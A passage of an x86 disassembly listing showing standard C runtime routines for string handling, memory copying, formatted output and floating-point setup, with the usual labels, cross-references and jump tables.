sub_41BE40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p
; ___:0041DD1Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41BEA1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41BE9F
jz short loc_41BEA1
dec ecx
dec ecx
loc_41BE9F: ; CODE XREF: sub_41BE70+29j
not ecx
loc_41BEA1: ; CODE XREF: sub_41BE70+9j
; sub_41BE70+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41BE70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp
; sub_401ACD+2FFDp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41BF21
sub_41BEB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p
; sub_401ACD+75FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41BEDC
loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BF0F
test ecx, 3
jnz short loc_41BECD
loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj
; sub_41BEC0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41BEDC
mov eax, [ecx-4]
test al, al
jz short loc_41BF1E
test ah, ah
jz short loc_41BF19
test eax, 0FF0000h
jz short loc_41BF14
test eax, 0FF000000h
jz short loc_41BF0F
jmp short loc_41BEDC
; ---------------------------------------------------------------------------
loc_41BF0F: ; CODE XREF: sub_41BEC0+12j
; sub_41BEC0+4Bj
lea edi, [ecx-1]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF14: ; CODE XREF: sub_41BEC0+44j
lea edi, [ecx-2]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj
lea edi, [ecx-3]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF1E: ; CODE XREF: sub_41BEC0+39j
lea edi, [ecx-4]
loc_41BF21: ; CODE XREF: sub_41BEB0+5j
; sub_41BEC0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41BF46
loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41BF98
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41BF2D
jmp short loc_41BF46
; ---------------------------------------------------------------------------
loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej
; sub_41BEC0+B8j
mov [edi], edx
add edi, 4
loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj
; sub_41BEC0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41BF41
test dl, dl
jz short loc_41BF98
test dh, dh
jz short loc_41BF8F
test edx, 0FF0000h
jz short loc_41BF82
test edx, 0FF000000h
jz short loc_41BF7A
jmp short loc_41BF41
; ---------------------------------------------------------------------------
loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF82: ; CODE XREF: sub_41BEC0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF98: ; CODE XREF: sub_41BEC0+72j
; sub_41BEC0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41BEC0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41BFB0
loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41BFB0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p
; sub_401ACD+4C3p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41BFB6: ; CODE XREF: sub_41B900+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41BFDB
loc_41BFC8: ; CODE XREF: sub_41BFB0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41BFA0
test cl, cl
jz short loc_41C024
test edx, 3
jnz short loc_41BFC8
loc_41BFDB: ; CODE XREF: sub_41BFB0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41BFE6: ; CODE XREF: sub_41BFB0+61j
; sub_41BFB0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C028
and eax, 81010100h
jz short loc_41BFE6
and eax, 1010100h
jnz short loc_41C022
and esi, 80000000h
jnz short loc_41BFE6
loc_41C022: ; CODE XREF: sub_41BFB0+68j
; sub_41BFB0+81j ...
pop esi
pop edi
loc_41C024: ; CODE XREF: sub_41BFB0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C028: ; CODE XREF: sub_41BFB0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C065
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C05E
test ah, ah
jz short loc_41C022
shr eax, 10h
cmp al, bl
jz short loc_41C057
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C050
test ah, ah
jz short loc_41C022
jmp short loc_41BFE6
; ---------------------------------------------------------------------------
loc_41C050: ; CODE XREF: sub_41BFB0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C057: ; CODE XREF: sub_41BFB0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C05E: ; CODE XREF: sub_41BFB0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C065: ; CODE XREF: sub_41BFB0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41BFB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C0BC
loc_41C080: ; CODE XREF: sub_41C070+3Cj
; sub_41C070+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+3]
jnz short loc_41C0B4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C080
mov edi, edi
loc_41C0B0: ; CODE XREF: sub_41C070+18j
; sub_41C070+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0B4: ; CODE XREF: sub_41C070+14j
; sub_41C070+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0BC: ; CODE XREF: sub_41C070+Ej
test edx, 1
jz short loc_41C0D8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C0B4
inc ecx
or al, al
jz short loc_41C0B0
test edx, 2
jz short loc_41C080
loc_41C0D8: ; CODE XREF: sub_41C070+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
add ecx, 2
jmp short loc_41C080
sub_41C070 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41C10D: ; CODE XREF: sub_41C0F4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41C10D
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41C135
mov edx, dword_4DB9A4
loc_41C135: ; CODE XREF: sub_41C0F4+39j
; sub_41C0F4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41C155
test al, al
jz short loc_41C155
inc edx
jmp short loc_41C135
; ---------------------------------------------------------------------------
loc_41C155: ; CODE XREF: sub_41C0F4+58j
; sub_41C0F4+5Cj
mov ebx, edx
loc_41C157: ; CODE XREF: sub_41C0F4+81j
mov al, [edx]
test al, al
jz short loc_41C17B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41C177
inc edx
jmp short loc_41C157
; ---------------------------------------------------------------------------
loc_41C177: ; CODE XREF: sub_41C0F4+7Ej
and byte ptr [edx], 0
inc edx
loc_41C17B: ; CODE XREF: sub_41C0F4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DB9A4, edx
and eax, ebx
pop ebx
leave
retn
sub_41C0F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C190 proc near ; CODE XREF: sub_409A2D+1Cp
; sub_415221+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C1CE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C1DB
; ---------------------------------------------------------------------------
loc_41C1CE: ; CODE XREF: sub_41C190+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41C1DB: ; CODE XREF: sub_41C190+3Cj
mov eax, esi
pop esi
leave
retn
sub_41C190 endp
; =============== S U B R O U T I N E =======================================
sub_41C1E0 proc near ; CODE XREF: sub_40AFEB+88p
; sub_40B64B+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41C294
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C20A
loc_41C1FB: ; CODE XREF: sub_41C1E0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41C23B
test edi, 3
jnz short loc_41C1FB
loc_41C20A: ; CODE XREF: sub_41C1E0+19j
; sub_41C1E0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C20A
mov eax, [edi-4]
test al, al
jz short loc_41C248
test ah, ah
jz short loc_41C243
test eax, 0FF0000h
jz short loc_41C23E
test eax, 0FF000000h
jnz short loc_41C20A
loc_41C23B: ; CODE XREF: sub_41C1E0+20j
dec edi
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C23E: ; CODE XREF: sub_41C1E0+52j
sub edi, 2
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C243: ; CODE XREF: sub_41C1E0+4Bj
sub edi, 3
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C248: ; CODE XREF: sub_41C1E0+47j
sub edi, 4
loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj
; sub_41C1E0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
jmp short loc_41C27C
; ---------------------------------------------------------------------------
loc_41C260: ; CODE XREF: sub_41C1E0+75j
; sub_41C1E0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41C29A
mov [edi], dl
inc edi
dec ecx
jz short loc_41C290
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej
; sub_41C1E0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41C290
loc_41C283: ; CODE XREF: sub_41C1E0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41C292
dec ecx
jnz short loc_41C283
loc_41C290: ; CODE XREF: sub_41C1E0+8Bj
; sub_41C1E0+A1j
mov [edi], cl
loc_41C292: ; CODE XREF: sub_41C1E0+ABj
pop ebx
pop esi
loc_41C294: ; CODE XREF: sub_41C1E0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C29A: ; CODE XREF: sub_41C1E0+85j
; sub_41C1E0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j
; sub_41C1E0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C27C
loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj
; sub_41C1E0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C2A4
test dl, dl
jz short loc_41C29A
test dh, dh
jz short loc_41C2F8
test edx, 0FF0000h
jz short loc_41C2E8
test edx, 0FF000000h
jnz short loc_41C2A4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C1E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C310 proc near ; CODE XREF: sub_40BFA4+15p
; sub_40BFA4+3Bp ...
var_3A3BFFC0 = byte ptr -3A3BFFC0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41C330
cmp edi, eax
jb loc_41C4A8
loc_41C330: ; CODE XREF: sub_41C310+16j
test edi, 3
jnz short loc_41C34C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
loc_41C34C: ; CODE XREF: sub_41C310+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41C364
and eax, 3
add ecx, eax
jmp dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C364: ; CODE XREF: sub_41C310+46j
jmp dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C36C: ; CODE XREF: sub_41C310+31j
; sub_41C310+8Ej ...
jmp off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41C380
; ---------------------------------------------------------------------------
lodsb
retn
; ---------------------------------------------------------------------------
inc ecx
add al, dl
retn
; ---------------------------------------------------------------------------
dw 41h
; ---------------------------------------------------------------------------
loc_41C380: ; DATA XREF: sub_41C310+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr
dd offset loc_41C43C
dd offset loc_41C434
dd offset loc_41C42C
dd offset loc_41C424
dd offset loc_41C41C
dd offset loc_41C414
dd offset loc_41C40C
; ---------------------------------------------------------------------------
loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310:off_41C3ECo
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r
; sub_41C310+92r ...
dd offset loc_41C470
dd offset loc_41C47C
dd offset loc_41C490
; ---------------------------------------------------------------------------
loc_41C468: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C470: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C47C: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C490: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C4A8: ; CODE XREF: sub_41C310+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41C4DC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41C4D0: ; CODE XREF: sub_41C310+1B1j
; sub_41C310+208j ...
neg ecx
jmp dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C4DC: ; CODE XREF: sub_41C310+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41C4F4
and eax, 3
sub ecx, eax
jmp dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C4F4: ; CODE XREF: sub_41C310+1D6j
; DATA XREF: sub_41C310+1DDr
jmp off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
align 4
or ch, al
inc ecx
add [eax], ch
lds eax, [ecx+0]
push eax
lds eax, [ecx+0]
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
movsb
lds eax, [ecx+0]
lodsb
lds eax, [ecx+0]
mov ah, 0C5h
inc ecx
add [ebp+eax*8-3A3BFFBFh], bh
inc ecx
add ah, cl
lds eax, [ecx+0]
aam 0C5h
inc ecx
loc_41C59F: ; DATA XREF: sub_41C310+1C2r
add bh, ah
lds eax, [ecx+0]
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C5E7: ; CODE XREF: sub_41C310+1C2j
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r
; sub_41C310:loc_41C4F4r ...
dd offset loc_41C608
dd offset loc_41C618
dd offset loc_41C62C
; ---------------------------------------------------------------------------
loc_41C600: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C608: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C618: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C62C: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41C310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C645 proc near ; CODE XREF: sub_40BFEC+40p
; ___:0040E2A0p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41AFE0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420510
add esp, 10h
leave
retn
sub_41C645 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C679(double)
sub_41C679 proc near ; CODE XREF: sub_40D031+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A970
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C6FF
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C6E2
cmp eax, 2
jle short loc_41C6D4
cmp eax, 3
jnz short loc_41C6E2
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6D4: ; CODE XREF: sub_41C679+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6E2: ; CODE XREF: sub_41C679+3Aj
; sub_41C679+44j
fld [ebp+arg_0]
fadd dbl_427710
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41C73C
; ---------------------------------------------------------------------------
loc_41C6FF: ; CODE XREF: sub_41C679+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C722
loc_41C714: ; CODE XREF: sub_41C679+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C722: ; CODE XREF: sub_41C679+99j
test bl, 20h
jnz short loc_41C714
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41C73C: ; CODE XREF: sub_41C679+84j
call sub_421014
add esp, 1Ch
loc_41C744: ; CODE XREF: sub_41C679+59j
; sub_41C679+67j ...
pop esi
pop ebx
leave
retn
sub_41C679 endp
; =============== S U B R O U T I N E =======================================
sub_41C748 proc near ; CODE XREF: ___:0041B78Dp
; sub_4218B2+21p
; DATA XREF: ...
call sub_41C760
call sub_4218B2
mov dword_4DB9AC, eax
call sub_421862
fnclex
retn
sub_41C748 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41C760 proc near ; CODE XREF: sub_41C748p
mov eax, offset sub_421CA0
mov off_43CF84, offset sub_421935
mov off_43CF80, eax
mov off_43CF88, offset sub_42199B
mov off_43CF8C, offset sub_4218DB
mov off_43CF90, offset sub_421983
mov off_43CF94, eax
retn
sub_41C760 endp
